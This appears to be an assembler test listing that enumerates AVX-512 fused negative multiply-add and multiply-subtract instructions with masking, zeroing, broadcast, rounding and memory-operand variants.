vfnmadd213ps xmm2{k5}, xmm7, xmm0
vfnmadd213ps xmm2{k5}, xmm7, [rbx]
vfnmadd213ps xmm2{k5}, xmm7, [rbx]{1to4}
vfnmadd213ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd213ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd213ps xmm2{k5}{z}, xmm7, xmm0
vfnmadd213ps xmm2{k5}{z}, xmm7, [rbx]
vfnmadd213ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfnmadd213ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd213ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmadd213ps ymm16, ymm13, ymm15
vfnmadd213ps ymm16, ymm13, [rbx]
vfnmadd213ps ymm16, ymm13, [rbx]{1to8}
vfnmadd213ps ymm16, ymm13, [rbx+r11*8+256]
vfnmadd213ps ymm16, ymm13, [rbx+r11*8-256]
vfnmadd213ps ymm16{k5}, ymm13, ymm15
vfnmadd213ps ymm16{k5}, ymm13, [rbx]
vfnmadd213ps ymm16{k5}, ymm13, [rbx]{1to8}
vfnmadd213ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmadd213ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmadd213ps ymm16{k5}{z}, ymm13, ymm15
vfnmadd213ps ymm16{k5}{z}, ymm13, [rbx]
vfnmadd213ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfnmadd213ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmadd213ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmadd213ps zmm24, zmm24, zmm31
vfnmadd213ps zmm24, zmm24, zmm31, {rd-sae}
vfnmadd213ps zmm24, zmm24, [rbx]
vfnmadd213ps zmm24, zmm24, [rbx]{1to16}
vfnmadd213ps zmm24, zmm24, [rbx+r11*8+256]
vfnmadd213ps zmm24, zmm24, [rbx+r11*8-256]
vfnmadd213ps zmm24{k5}, zmm24, zmm31
vfnmadd213ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmadd213ps zmm24{k5}, zmm24, [rbx]
vfnmadd213ps zmm24{k5}, zmm24, [rbx]{1to16}
vfnmadd213ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmadd213ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmadd213ps zmm24{k5}{z}, zmm24, zmm31
vfnmadd213ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmadd213ps zmm24{k5}{z}, zmm24, [rbx]
vfnmadd213ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfnmadd213ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmadd213ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmadd213sd xmm2, xmm7, xmm0
vfnmadd213sd xmm2, xmm7, xmm0, {rd-sae}
vfnmadd213sd xmm2, xmm7, [rbx]
vfnmadd213sd xmm2, xmm7, [rbx+r11*8+256]
vfnmadd213sd xmm2, xmm7, [rbx+r11*8-256]
vfnmadd213sd xmm2{k5}, xmm7, xmm0
vfnmadd213sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmadd213sd xmm2{k5}, xmm7, [rbx]
vfnmadd213sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd213sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd213sd xmm2{k5}{z}, xmm7, xmm0
vfnmadd213sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmadd213sd xmm2{k5}{z}, xmm7, [rbx]
vfnmadd213sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd213sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmadd213ss xmm2, xmm7, xmm0
vfnmadd213ss xmm2, xmm7, xmm0, {rd-sae}
vfnmadd213ss xmm2, xmm7, [rbx]
vfnmadd213ss xmm2, xmm7, [rbx+r11*8+256]
vfnmadd213ss xmm2, xmm7, [rbx+r11*8-256]
vfnmadd213ss xmm2{k5}, xmm7, xmm0
vfnmadd213ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmadd213ss xmm2{k5}, xmm7, [rbx]
vfnmadd213ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd213ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd213ss xmm2{k5}{z}, xmm7, xmm0
vfnmadd213ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmadd213ss xmm2{k5}{z}, xmm7, [rbx]
vfnmadd213ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd213ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmadd231pd xmm2, xmm7, xmm0
vfnmadd231pd xmm2, xmm7, [rbx]
vfnmadd231pd xmm2, xmm7, [rbx]{1to2}
vfnmadd231pd xmm2, xmm7, [rbx+r11*8+256]
vfnmadd231pd xmm2, xmm7, [rbx+r11*8-256]
vfnmadd231pd xmm2{k5}, xmm7, xmm0
vfnmadd231pd xmm2{k5}, xmm7, [rbx]
vfnmadd231pd xmm2{k5}, xmm7, [rbx]{1to2}
vfnmadd231pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd231pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd231pd xmm2{k5}{z}, xmm7, xmm0
vfnmadd231pd xmm2{k5}{z}, xmm7, [rbx]
vfnmadd231pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfnmadd231pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd231pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmadd231pd ymm16, ymm13, ymm15
vfnmadd231pd ymm16, ymm13, [rbx]
vfnmadd231pd ymm16, ymm13, [rbx]{1to4}
vfnmadd231pd ymm16, ymm13, [rbx+r11*8+256]
vfnmadd231pd ymm16, ymm13, [rbx+r11*8-256]
vfnmadd231pd ymm16{k5}, ymm13, ymm15
vfnmadd231pd ymm16{k5}, ymm13, [rbx]
vfnmadd231pd ymm16{k5}, ymm13, [rbx]{1to4}
vfnmadd231pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmadd231pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmadd231pd ymm16{k5}{z}, ymm13, ymm15
vfnmadd231pd ymm16{k5}{z}, ymm13, [rbx]
vfnmadd231pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfnmadd231pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmadd231pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmadd231pd zmm24, zmm24, zmm31
vfnmadd231pd zmm24, zmm24, zmm31, {rd-sae}
vfnmadd231pd zmm24, zmm24, [rbx]
vfnmadd231pd zmm24, zmm24, [rbx]{1to8}
vfnmadd231pd zmm24, zmm24, [rbx+r11*8+256]
vfnmadd231pd zmm24, zmm24, [rbx+r11*8-256]
vfnmadd231pd zmm24{k5}, zmm24, zmm31
vfnmadd231pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmadd231pd zmm24{k5}, zmm24, [rbx]
vfnmadd231pd zmm24{k5}, zmm24, [rbx]{1to8}
vfnmadd231pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmadd231pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmadd231pd zmm24{k5}{z}, zmm24, zmm31
vfnmadd231pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmadd231pd zmm24{k5}{z}, zmm24, [rbx]
vfnmadd231pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfnmadd231pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmadd231pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmadd231ps xmm2, xmm7, xmm0
vfnmadd231ps xmm2, xmm7, [rbx]
vfnmadd231ps xmm2, xmm7, [rbx]{1to4}
vfnmadd231ps xmm2, xmm7, [rbx+r11*8+256]
vfnmadd231ps xmm2, xmm7, [rbx+r11*8-256]
vfnmadd231ps xmm2{k5}, xmm7, xmm0
vfnmadd231ps xmm2{k5}, xmm7, [rbx]
vfnmadd231ps xmm2{k5}, xmm7, [rbx]{1to4}
vfnmadd231ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd231ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd231ps xmm2{k5}{z}, xmm7, xmm0
vfnmadd231ps xmm2{k5}{z}, xmm7, [rbx]
vfnmadd231ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfnmadd231ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd231ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmadd231ps ymm16, ymm13, ymm15
vfnmadd231ps ymm16, ymm13, [rbx]
vfnmadd231ps ymm16, ymm13, [rbx]{1to8}
vfnmadd231ps ymm16, ymm13, [rbx+r11*8+256]
vfnmadd231ps ymm16, ymm13, [rbx+r11*8-256]
vfnmadd231ps ymm16{k5}, ymm13, ymm15
vfnmadd231ps ymm16{k5}, ymm13, [rbx]
vfnmadd231ps ymm16{k5}, ymm13, [rbx]{1to8}
vfnmadd231ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmadd231ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmadd231ps ymm16{k5}{z}, ymm13, ymm15
vfnmadd231ps ymm16{k5}{z}, ymm13, [rbx]
vfnmadd231ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfnmadd231ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmadd231ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmadd231ps zmm24, zmm24, zmm31
vfnmadd231ps zmm24, zmm24, zmm31, {rd-sae}
vfnmadd231ps zmm24, zmm24, [rbx]
vfnmadd231ps zmm24, zmm24, [rbx]{1to16}
vfnmadd231ps zmm24, zmm24, [rbx+r11*8+256]
vfnmadd231ps zmm24, zmm24, [rbx+r11*8-256]
vfnmadd231ps zmm24{k5}, zmm24, zmm31
vfnmadd231ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmadd231ps zmm24{k5}, zmm24, [rbx]
vfnmadd231ps zmm24{k5}, zmm24, [rbx]{1to16}
vfnmadd231ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmadd231ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmadd231ps zmm24{k5}{z}, zmm24, zmm31
vfnmadd231ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmadd231ps zmm24{k5}{z}, zmm24, [rbx]
vfnmadd231ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfnmadd231ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmadd231ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmadd231sd xmm2, xmm7, xmm0
vfnmadd231sd xmm2, xmm7, xmm0, {rd-sae}
vfnmadd231sd xmm2, xmm7, [rbx]
vfnmadd231sd xmm2, xmm7, [rbx+r11*8+256]
vfnmadd231sd xmm2, xmm7, [rbx+r11*8-256]
vfnmadd231sd xmm2{k5}, xmm7, xmm0
vfnmadd231sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmadd231sd xmm2{k5}, xmm7, [rbx]
vfnmadd231sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd231sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd231sd xmm2{k5}{z}, xmm7, xmm0
vfnmadd231sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmadd231sd xmm2{k5}{z}, xmm7, [rbx]
vfnmadd231sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd231sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmadd231ss xmm2, xmm7, xmm0
vfnmadd231ss xmm2, xmm7, xmm0, {rd-sae}
vfnmadd231ss xmm2, xmm7, [rbx]
vfnmadd231ss xmm2, xmm7, [rbx+r11*8+256]
vfnmadd231ss xmm2, xmm7, [rbx+r11*8-256]
vfnmadd231ss xmm2{k5}, xmm7, xmm0
vfnmadd231ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmadd231ss xmm2{k5}, xmm7, [rbx]
vfnmadd231ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd231ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd231ss xmm2{k5}{z}, xmm7, xmm0
vfnmadd231ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmadd231ss xmm2{k5}{z}, xmm7, [rbx]
vfnmadd231ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd231ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub132pd xmm2, xmm7, xmm0
vfnmsub132pd xmm2, xmm7, [rbx]
vfnmsub132pd xmm2, xmm7, [rbx]{1to2}
vfnmsub132pd xmm2, xmm7, [rbx+r11*8+256]
vfnmsub132pd xmm2, xmm7, [rbx+r11*8-256]
vfnmsub132pd xmm2{k5}, xmm7, xmm0
vfnmsub132pd xmm2{k5}, xmm7, [rbx]
vfnmsub132pd xmm2{k5}, xmm7, [rbx]{1to2}
vfnmsub132pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub132pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmsub132pd xmm2{k5}{z}, xmm7, xmm0
vfnmsub132pd xmm2{k5}{z}, xmm7, [rbx]
vfnmsub132pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfnmsub132pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub132pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub132pd ymm16, ymm13, ymm15
vfnmsub132pd ymm16, ymm13, [rbx]
vfnmsub132pd ymm16, ymm13, [rbx]{1to4}
vfnmsub132pd ymm16, ymm13, [rbx+r11*8+256]
vfnmsub132pd ymm16, ymm13, [rbx+r11*8-256]
vfnmsub132pd ymm16{k5}, ymm13, ymm15
vfnmsub132pd ymm16{k5}, ymm13, [rbx]
vfnmsub132pd ymm16{k5}, ymm13, [rbx]{1to4}
vfnmsub132pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmsub132pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmsub132pd ymm16{k5}{z}, ymm13, ymm15
vfnmsub132pd ymm16{k5}{z}, ymm13, [rbx]
vfnmsub132pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfnmsub132pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmsub132pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmsub132pd zmm24, zmm24, zmm31
vfnmsub132pd zmm24, zmm24, zmm31, {rd-sae}
vfnmsub132pd zmm24, zmm24, [rbx]
vfnmsub132pd zmm24, zmm24, [rbx]{1to8}
vfnmsub132pd zmm24, zmm24, [rbx+r11*8+256]
vfnmsub132pd zmm24, zmm24, [rbx+r11*8-256]
vfnmsub132pd zmm24{k5}, zmm24, zmm31
vfnmsub132pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmsub132pd zmm24{k5}, zmm24, [rbx]
vfnmsub132pd zmm24{k5}, zmm24, [rbx]{1to8}
vfnmsub132pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmsub132pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmsub132pd zmm24{k5}{z}, zmm24, zmm31
vfnmsub132pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmsub132pd zmm24{k5}{z}, zmm24, [rbx]
vfnmsub132pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfnmsub132pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmsub132pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmsub132ps xmm2, xmm7, xmm0
vfnmsub132ps xmm2, xmm7, [rbx]
vfnmsub132ps xmm2, xmm7, [rbx]{1to4}
vfnmsub132ps xmm2, xmm7, [rbx+r11*8+256]
vfnmsub132ps xmm2, xmm7, [rbx+r11*8-256]
vfnmsub132ps xmm2{k5}, xmm7, xmm0
vfnmsub132ps xmm2{k5}, xmm7, [rbx]
vfnmsub132ps xmm2{k5}, xmm7, [rbx]{1to4}
vfnmsub132ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub132ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmsub132ps xmm2{k5}{z}, xmm7, xmm0
vfnmsub132ps xmm2{k5}{z}, xmm7, [rbx]
vfnmsub132ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfnmsub132ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub132ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub132ps ymm16, ymm13, ymm15
vfnmsub132ps ymm16, ymm13, [rbx]
vfnmsub132ps ymm16, ymm13, [rbx]{1to8}
vfnmsub132ps ymm16, ymm13, [rbx+r11*8+256]
vfnmsub132ps ymm16, ymm13, [rbx+r11*8-256]
vfnmsub132ps ymm16{k5}, ymm13, ymm15
vfnmsub132ps ymm16{k5}, ymm13, [rbx]
vfnmsub132ps ymm16{k5}, ymm13, [rbx]{1to8}
vfnmsub132ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmsub132ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmsub132ps ymm16{k5}{z}, ymm13, ymm15
vfnmsub132ps ymm16{k5}{z}, ymm13, [rbx]
vfnmsub132ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfnmsub132ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmsub132ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmsub132ps zmm24, zmm24, zmm31
vfnmsub132ps zmm24, zmm24, zmm31, {rd-sae}
vfnmsub132ps zmm24, zmm24, [rbx]
vfnmsub132ps zmm24, zmm24, [rbx]{1to16}
vfnmsub132ps zmm24, zmm24, [rbx+r11*8+256]
vfnmsub132ps zmm24, zmm24, [rbx+r11*8-256]
vfnmsub132ps zmm24{k5}, zmm24, zmm31
vfnmsub132ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmsub132ps zmm24{k5}, zmm24, [rbx]
vfnmsub132ps zmm24{k5}, zmm24, [rbx]{1to16}
vfnmsub132ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmsub132ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmsub132ps zmm24{k5}{z}, zmm24, zmm31
vfnmsub132ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmsub132ps zmm24{k5}{z}, zmm24, [rbx]
vfnmsub132ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfnmsub132ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmsub132ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmsub132sd xmm2, xmm7, xmm0
vfnmsub132sd xmm2, xmm7, xmm0, {rd-sae}
vfnmsub132sd xmm2, xmm7, [rbx]
vfnmsub132sd xmm2, xmm7, [rbx+r11*8+256]
vfnmsub132sd xmm2, xmm7, [rbx+r11*8-256]
vfnmsub132sd xmm2{k5}, xmm7, xmm0
vfnmsub132sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmsub132sd xmm2{k5}, xmm7, [rbx]
vfnmsub132sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub132sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmsub132sd xmm2{k5}{z}, xmm7, xmm0
vfnmsub132sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmsub132sd xmm2{k5}{z}, xmm7, [rbx]
vfnmsub132sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub132sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub132ss xmm2, xmm7, xmm0
vfnmsub132ss xmm2, xmm7, xmm0, {rd-sae}
vfnmsub132ss xmm2, xmm7, [rbx]
vfnmsub132ss xmm2, xmm7, [rbx+r11*8+256]
vfnmsub132ss xmm2, xmm7, [rbx+r11*8-256]
vfnmsub132ss xmm2{k5}, xmm7, xmm0
vfnmsub132ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmsub132ss xmm2{k5}, xmm7, [rbx]
vfnmsub132ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub132ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmsub132ss xmm2{k5}{z}, xmm7, xmm0
vfnmsub132ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmsub132ss xmm2{k5}{z}, xmm7, [rbx]
vfnmsub132ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub132ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub213pd xmm2, xmm7, xmm0
vfnmsub213pd xmm2, xmm7, [rbx]
vfnmsub213pd xmm2, xmm7, [rbx]{1to2}
vfnmsub213pd xmm2, xmm7, [rbx+r11*8+256]
vfnmsub213pd xmm2, xmm7, [rbx+r11*8-256]
vfnmsub213pd xmm2{k5}, xmm7, xmm0
vfnmsub213pd xmm2{k5}, xmm7, [rbx]
vfnmsub213pd xmm2{k5}, xmm7, [rbx]{1to2}
vfnmsub213pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub213pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmsub213pd xmm2{k5}{z}, xmm7, xmm0
vfnmsub213pd xmm2{k5}{z}, xmm7, [rbx]
vfnmsub213pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfnmsub213pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub213pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub213pd ymm16, ymm13, ymm15
vfnmsub213pd ymm16, ymm13, [rbx]
vfnmsub213pd ymm16, ymm13, [rbx]{1to4}
vfnmsub213pd ymm16, ymm13, [rbx+r11*8+256]
vfnmsub213pd ymm16, ymm13, [rbx+r11*8-256]
vfnmsub213pd ymm16{k5}, ymm13, ymm15
vfnmsub213pd ymm16{k5}, ymm13, [rbx]
vfnmsub213pd ymm16{k5}, ymm13, [rbx]{1to4}
vfnmsub213pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmsub213pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmsub213pd ymm16{k5}{z}, ymm13, ymm15
vfnmsub213pd ymm16{k5}{z}, ymm13, [rbx]
vfnmsub213pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfnmsub213pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmsub213pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmsub213pd zmm24, zmm24, zmm31
vfnmsub213pd zmm24, zmm24, zmm31, {rd-sae}
vfnmsub213pd zmm24, zmm24, [rbx]
vfnmsub213pd zmm24, zmm24, [rbx]{1to8}
vfnmsub213pd zmm24, zmm24, [rbx+r11*8+256]
vfnmsub213pd zmm24, zmm24, [rbx+r11*8-256]
vfnmsub213pd zmm24{k5}, zmm24, zmm31
vfnmsub213pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmsub213pd zmm24{k5}, zmm24, [rbx]
vfnmsub213pd zmm24{k5}, zmm24, [rbx]{1to8}
vfnmsub213pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmsub213pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmsub213pd zmm24{k5}{z}, zmm24, zmm31
vfnmsub213pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmsub213pd zmm24{k5}{z}, zmm24, [rbx]
vfnmsub213pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfnmsub213pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmsub213pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmsub213ps xmm2, xmm7, xmm0
vfnmsub213ps xmm2, xmm7, [rbx]
vfnmsub213ps xmm2, xmm7, [rbx]{1to4}
vfnmsub213ps xmm2, xmm7, [rbx+r11*8+256]
vfnmsub213ps xmm2, xmm7, [rbx+r11*8-256]
vfnmsub213ps xmm2{k5}, xmm7, xmm0
vfnmsub213ps xmm2{k5}, xmm7, [rbx]
vfnmsub213ps xmm2{k5}, xmm7, [rbx]{1to4}
vfnmsub213ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub213ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmsub213ps xmm2{k5}{z}, xmm7, xmm0
vfnmsub213ps xmm2{k5}{z}, xmm7, [rbx]
vfnmsub213ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfnmsub213ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub213ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub213ps ymm16, ymm13, ymm15
vfnmsub213ps ymm16, ymm13, [rbx]
vfnmsub213ps ymm16, ymm13, [rbx]{1to8}
vfnmsub213ps ymm16, ymm13, [rbx+r11*8+256]
vfnmsub213ps ymm16, ymm13, [rbx+r11*8-256]
vfnmsub213ps ymm16{k5}, ymm13, ymm15
vfnmsub213ps ymm16{k5}, ymm13, [rbx]
vfnmsub213ps ymm16{k5}, ymm13, [rbx]{1to8}
vfnmsub213ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmsub213ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmsub213ps ymm16{k5}{z}, ymm13, ymm15
vfnmsub213ps ymm16{k5}{z}, ymm13, [rbx]
vfnmsub213ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfnmsub213ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmsub213ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmsub213ps zmm24, zmm24, zmm31
vfnmsub213ps zmm24, zmm24, zmm31, {rd-sae}
vfnmsub213ps zmm24, zmm24, [rbx]
vfnmsub213ps zmm24, zmm24, [rbx]{1to16}
vfnmsub213ps zmm24, zmm24, [rbx+r11*8+256]
vfnmsub213ps zmm24, zmm24, [rbx+r11*8-256]
vfnmsub213ps zmm24{k5}, zmm24, zmm31
vfnmsub213ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmsub213ps zmm24{k5}, zmm24, [rbx]
vfnmsub213ps zmm24{k5}, zmm24, [rbx]{1to16}
vfnmsub213ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmsub213ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmsub213ps zmm24{k5}{z}, zmm24, zmm31
vfnmsub213ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmsub213ps zmm24{k5}{z}, zmm24, [rbx]
vfnmsub213ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfnmsub213ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmsub213ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmsub213sd xmm2, xmm7, xmm0
vfnmsub213sd xmm2, xmm7, xmm0, {rd-sae}
vfnmsub213sd xmm2, xmm7, [rbx]
vfnmsub213sd xmm2, xmm7, [rbx+r11*8+256]
vfnmsub213sd xmm2, xmm7, [rbx+r11*8-256]
vfnmsub213sd xmm2{k5}, xmm7, xmm0
vfnmsub213sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmsub213sd xmm2{k5}, xmm7, [rbx]
vfnmsub213sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub213sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmsub213sd xmm2{k5}{z}, xmm7, xmm0
vfnmsub213sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmsub213sd xmm2{k5}{z}, xmm7, [rbx]
vfnmsub213sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub213sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub213ss xmm2, xmm7, xmm0
vfnmsub213ss xmm2, xmm7, xmm0, {rd-sae}
vfnmsub213ss xmm2, xmm7, [rbx]
vfnmsub213ss xmm2, xmm7, [rbx+r11*8+256]
vfnmsub213ss xmm2, xmm7, [rbx+r11*8-256]
vfnmsub213ss xmm2{k5}, xmm7, xmm0
vfnmsub213ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmsub213ss xmm2{k5}, xmm7, [rbx]
vfnmsub213ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub213ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmsub213ss xmm2{k5}{z}, xmm7, xmm0
vfnmsub213ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmsub213ss xmm2{k5}{z}, xmm7, [rbx]
vfnmsub213ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub213ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub231pd xmm2, xmm7, xmm0
vfnmsub231pd xmm2, xmm7, [rbx]
vfnmsub231pd xmm2, xmm7, [rbx]{1to2}
vfnmsub231pd xmm2, xmm7, [rbx+r11*8+256]
vfnmsub231pd xmm2, xmm7, [rbx+r11*8-256]
vfnmsub231pd xmm2{k5}, xmm7, xmm0
vfnmsub231pd xmm2{k5}, xmm7, [rbx]
vfnmsub231pd xmm2{k5}, xmm7, [rbx]{1to2}
vfnmsub231pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub231pd xmm2{k5}, xmm7, [rbx+r11*8-256]
